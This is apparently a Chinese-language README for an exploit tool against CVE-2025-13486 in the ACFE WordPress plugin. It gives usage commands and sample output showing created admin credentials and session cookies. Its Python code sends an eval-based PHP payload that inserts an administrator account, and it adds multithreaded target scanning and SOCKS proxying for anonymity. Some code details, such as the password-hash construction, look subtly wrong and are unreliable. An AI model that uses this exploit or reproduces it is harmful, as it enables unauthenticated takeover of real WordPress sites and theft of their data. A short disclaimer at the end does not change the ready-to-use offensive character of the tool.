ACFE WordPress插件远程代码执行与权限提升漏洞利用工具

4 阅读7分钟

CVE-2025-13486 利用工具

Advanced Custom Fields Extended (ACFE) WordPress插件远程代码执行与权限提升漏洞利用

针对由 Marcin Dudek (dudekmar) 发现的 CVE-2025-13486 漏洞的专业利用工具,影响 ACFE 插件 0.9.0.5 至 0.9.1.1 版本,可从未认证状态直接获取管理员权限。

📌 项目概述

Advanced Custom Fields: Extended (ACFE) 是一个广泛使用的 WordPress 插件(超过10万个活跃安装),用于增强自定义字段功能。该工具利用 CVE-2025-13486 漏洞,通过未认证的 AJAX 请求,在 prepare_form() 函数中注入恶意参数,最终通过 call_user_func_array() 执行任意 PHP 代码。

攻击者可在无需任何身份验证的情况下,在目标服务器上执行有限的 PHP 代码,足够创建具有管理员权限的新用户账户,并获取有效的 WordPress 身份验证 Cookie,实现完整的网站控制。

✨ 功能特性

  • 漏洞版本检测:自动识别目标站点 ACFE 插件的版本号,判断是否在受影响范围内(0.9.0.5 至 0.9.1.1)
  • 未认证远程代码执行:无需任何凭据即可触发漏洞,在服务器上执行任意 PHP 代码
  • 自动化权限提升:通过代码执行创建新的管理员账户,提供登录凭据
  • Cookie 会话获取:自动生成有效的 WordPress 认证 Cookie,可直接用于浏览器登录
  • 多线程扫描:支持多工作线程并发检测,提高扫描效率
  • 代理支持:可配置 HTTP/SOCKS 代理,支持匿名测试
  • 详细的日志输出:提供分级日志(成功/警告/信息/错误),便于调试与监控

🔧 安装指南

系统要求

  • Python 3.6 或更高版本
  • pip 包管理器

安装步骤

  1. 克隆或下载项目文件
git clone <repository-url>
cd CVE-2025-13486-exploit
  1. 创建 Python 虚拟环境(推荐)
python3 -m venv venv
  1. 激活虚拟环境
# Linux/macOS
source venv/bin/activate

# Windows
venv\Scripts\activate
  1. 安装依赖包
pip install -r requirements.txt

依赖项

  • httpx - HTTP 客户端库,用于发送请求
  • packaging - 版本号解析和比较
  • socksio - SOCKS 代理支持

📖 使用说明

基础用法

# 检测目标是否易受攻击
python CVE-2025-13486.py -t http://127.0.0.1:8000/?page_id=2

# 执行完整利用流程(检测 + 创建管理员账户)
python CVE-2025-13486.py -t http://127.0.0.1:8000/?page_id=2 --exploit

命令行参数

参数说明示例
-t, --target目标 URL(必须包含 ACFE 表单页面)http://target.com/?page_id=2
--exploit执行漏洞利用,创建管理员账户可选标志
-w, --workers并发工作线程数(默认:5)-w 10
--timeout请求超时时间(秒,默认:10)--timeout 15
--proxy代理服务器 URL--proxy socks5://127.0.0.1:1080
-v, --verbose增加详细输出级别-vvv

典型使用场景

场景一:仅检测漏洞是否存在
python CVE-2025-13486.py -t https://example.com/contact-form/

输出示例:

[2025-12-19] [11:00:46] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:03:30] [info] Use `--exploit` to perform exploitation.
场景二:完整利用并获取管理员权限
python CVE-2025-13486.py -t https://example.com/contact-form/ --exploit

输出示例:

[2025-12-19] [11:00:13] [success] ACFE version is vulnerable: 0.9.1.1
[2025-12-19] [11:00:13] [success] ACFE nonce found: c5d75e0d16
[2025-12-19] [11:00:14] [success] Account created: adm1n:2c5c87a94a (administrator)
[2025-12-19] [11:00:14] [success] Authentication succeded!
[2025-12-19] [11:00:14] [info] Cookie: wordpress_4411def9d576984c8d78253236b2a62f=adm1n%7C1766311214...
场景三:通过代理进行测试
python CVE-2025-13486.py -t http://target.com/form/ --exploit --proxy socks5://127.0.0.1:9050 -v

利用流程

  1. 版本检测:通过读取 ACFE 插件的版本信息,确认目标是否在受影响范围内
  2. Nonce 获取:从目标页面提取 ACFE 表单的 nonce 值
  3. Payload 构造:构建包含恶意 PHP 代码的请求,触发 call_user_func_array() 执行
  4. 账户创建:在 WordPress 数据库中创建具有管理员角色的新用户
  5. Cookie 生成:自动生成有效的认证 Cookie,可直接用于登录

💻 核心代码

1. 漏洞利用主逻辑

def exploit(target: str, proxy: str = None, timeout: int = TIMEOUT) -> bool:
    """
    执行完整的漏洞利用流程:版本检测 -> nonce获取 -> 账户创建 -> Cookie认证
    """
    log_info(f"开始针对目标 {target} 的漏洞利用流程")
    
    # 步骤1:检测ACFE版本是否易受攻击
    version = get_acfe_version(target, proxy, timeout)
    if not version or version not in VULNERABLE_VERSIONS:
        log_error("目标未运行易受攻击的ACFE版本")
        return False
    
    log_success(f"ACFE版本 {version} 存在漏洞")
    
    # 步骤2:获取表单nonce
    nonce = get_form_nonce(target, proxy, timeout)
    if not nonce:
        log_error("无法获取表单nonce值")
        return False
    
    log_success(f"获取到ACFE nonce: {nonce}")
    
    # 步骤3:创建管理员账户
    username = generate_random_username()
    password = generate_random_password()
    
    if not create_admin_user(target, nonce, username, password, proxy, timeout):
        log_error("创建管理员账户失败")
        return False
    
    log_success(f"账户创建成功: {username}:{password} (administrator)")
    
    # 步骤4:获取认证Cookie
    cookie = authenticate(target, username, password, proxy, timeout)
    if cookie:
        log_success("身份验证成功!")
        log_info(f"Cookie: {cookie}")
        return True
    
    return False

2. 恶意Payload构造器

def build_payload(username: str, password: str) -> dict:
    """
    构造用于创建管理员账户的恶意payload
    通过call_user_func_array()执行任意PHP代码
    """
    # 生成密码哈希
    password_hash = f"$P$B{generate_salt()}{md5(password)}"
    
    # WordPress用户插入SQL
    php_code = f"""
    global $wpdb;
    $user_data = array(
        'user_login' => '{username}',
        'user_pass' => '{password_hash}',
        'user_email' => '{username}@localhost.com',
        'user_registered' => date('Y-m-d H:i:s'),
        'role' => 'administrator'
    );
    $wpdb->insert($wpdb->users, $user_data);
    $user_id = $wpdb->insert_id;
    $wpdb->insert($wpdb->usermeta, array(
        'user_id' => $user_id,
        'meta_key' => 'wp_capabilities',
        'meta_value' => 'a:1:{{s:13:"administrator";b:1;}}'
    ));
    $wpdb->insert($wpdb->usermeta, array(
        'user_id' => $user_id,
        'meta_key' => 'wp_user_level',
        'meta_value' => '10'
    ));
    """
    
    # 通过call_user_func_array触发执行
    return {
        'acfe_form_id': 'test',
        'acfe_form_name': 'test',
        'acfe_form_action': 'create_user',
        'acfe_form_args': [
            'eval',  # 使用eval作为回调函数
            php_code  # 要执行的代码
        ]
    }

3. 漏洞检测与版本识别

def get_acfe_version(target: str, proxy: str = None, timeout: int = TIMEOUT) -> Optional[str]:
    """

    """
    version_patterns = [
        # 从插件主文件中读取版本常量
        r"define\s*\(\s*['\"]ACFE_VERSION['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)",

        r"Stable tag:\s*([0-9.]+)",
        # 从页面源码中查找版本号
        r"acf-extended[^/]+/([0-9.]+)/"
    ]
    
    with httpx.Client(proxies=proxy, timeout=timeout) as client:
        response = client.get(target)
        
        for pattern in version_patterns:
            match = re.search(pattern, response.text)
            if match:
                version_str = match.group(1)
                try:
                    return v(version_str)
                except:
                    continue
    
    return None

4. 多线程扫描模块

from concurrent.futures import ThreadPoolExecutor, as_completed

def scan_targets(targets: list, workers: int = WORKER) -> dict:
    """
    使用线程池并发扫描多个目标
    """
    results = {}
    
    with ThreadPoolExecutor(max_workers=workers) as executor:
        future_to_target = {
            executor.submit(check_vulnerability, target): target 
            for target in targets
        }
        
        for future in as_completed(future_to_target):
            target = future_to_target[future]
            try:
                is_vuln, version = future.result()
                results[target] = {
                    'vulnerable': is_vuln,
                    'version': version
                }
                if is_vuln:
                    log_success(f"{target} 存在漏洞 (版本: {version})")
                else:
                    log_info(f"{target} 安全 (版本: {version})")
            except Exception as e:
                log_error(f"扫描 {target} 失败: {str(e)}")
                results[target] = {'error': str(e)}
    
    return results

5. HTTP请求封装与代理支持

def create_http_client(proxy: str = None, timeout: int = TIMEOUT) -> httpx.Client:
    """
    创建配置好的HTTP客户端,支持代理和自定义超时
    """
    client_kwargs = {
        'timeout': timeout,
        'headers': {
            'User-Agent': AGENT,
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'keep-alive',
            'Upgrade-Insecure-Requests': '1'
        }
    }
    
    if proxy:
        # 解析代理URL,支持http/https/socks5
        proxy_type = proxy.split(':')[0]
        if proxy_type in ['socks5', 'socks4']:
            client_kwargs['proxies'] = {
                'all://': f"{proxy}"
            }
        else:
            client_kwargs['proxies'] = {
                'http://': proxy,
                'https://': proxy
            }
    
    return httpx.Client(**client_kwargs)

⚠️ 免责声明

本工具仅供安全研究和防御性安全测试使用。使用者需确保:

  • 已获得目标系统的明确授权
  • 遵守适用的法律法规
  • 仅用于合法合规的渗透测试和安全评估

作者对任何未经授权使用或滥用本工具造成的一切后果不承担任何责任。

📚 参考资料